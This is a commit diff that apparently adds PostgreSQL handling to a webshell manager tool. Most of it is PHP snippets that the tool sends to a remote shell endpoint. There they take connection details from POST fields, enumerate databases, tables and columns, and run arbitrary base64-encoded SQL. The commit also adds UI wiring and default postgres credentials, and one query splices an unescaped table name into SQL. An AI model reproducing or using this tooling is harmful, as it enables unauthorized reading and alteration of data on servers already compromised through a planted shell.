Commit 457d4fab authored by Medicean's avatar Medicean

(Enhance:Database) 新增 PHP PostgreSQL 类型数据库操作

parent 745df35a
......@@ -22,14 +22,15 @@
> host 部分填写: localhost/orcl 或者 localhost:1521/orcl
> 参考: http://php.net/manual/zh/function.oci-connect.php connection_string 部分
* 新增 PHP PostgreSQL 类型数据库操作
* 优化 asp(x) Oracle 类型数据库操作
* 优化 asp(x) SQLServer 类型数据库操作
* 优化SQLServer类型数据库默认查询语句
* php数据管理解析数据时自动猜解编码
* 新增 「JSP Custom Shell For Oracle」
### 其它
* 新增 「JSP Custom Shell For Oracle」
* 新增 Decodes 自动猜解编码,在中文少量的情况下,成功率会降低
### BugFix
......
......@@ -21,6 +21,7 @@ class PHP extends Base {
'database/sqlsrv',
'database/oracle',
'database/oracle_oci8',
'database/postgresql',
'database/informix'
].map((_) => {
this.parseTemplate(`./php/template/${_}`);
......
/**
* 数据库管理模板::postgresql
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT datname FROM pg_database where datistemplate='f';");
if(!q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');");
if(!q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT column_name,udt_name,character_maximum_length FROM information_schema. COLUMNS WHERE TABLE_NAME = '{$tab}';");
if(!q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
$len=$rs[2]?$rs[2]:"0";
echo(trim($rs[0])." ({$rs[1]}({$len}))".chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T, $sql);
if(!q){
echo("ERROR://".@pg_last_error());
}else{
$n=@pg_num_fields($q);
if($n===NULL){
echo("Status\t|\t\r\n");
echo(base64_encode("ERROR://".@pg_last_error())."\t|\t\r\n");
}elseif($n===0){
echo("Affect Rows\t|\t\r\n".base64_encode(@pg_affected_rows($q))."\t|\t\r\n");
}else{
for($i=0;$i<$n;$i++){
echo(@pg_field_name($q,$i)."\t|\t");
}
echo "\r\n";
while($row=@pg_fetch_row($q)){
for($i=0;$i<$n;$i++){
echo(base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\t|\t");
}
echo "\r\n";
}
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
......@@ -84,6 +84,9 @@ class PHP {
case 'oracle_oci8':
sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
case 'postgresql':
sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`;
break;
default:
sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
......@@ -402,6 +405,7 @@ class PHP {
return ret;
})() }
]},
{ text: 'PostgreSQL', value: 'postgresql' },
{ text: 'INFORMIX', value: 'informix' }
] },
{ type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: 'localhost' },
......@@ -442,6 +446,13 @@ class PHP {
passwd: '',
})
break;
case 'postgresql':
form.setFormData({
host: 'localhost:5432',
user: 'postgres',
passwd: '',
});
break;
default:
form.setFormData({
user: 'dbuser',
......@@ -633,6 +644,7 @@ class PHP {
return ret;
})() }
]},
{ text: 'PostgreSQL', value: 'postgresql', selected: conf['type'] === 'postgresql' },
{ text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' }
] },
{ type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: conf['host'] },
......@@ -1571,6 +1583,9 @@ class PHP {
case 'oracle_oci8':
presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
break;
case 'postgresql':
presql = `SELECT * FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`;
break;
default:
presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
break;
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment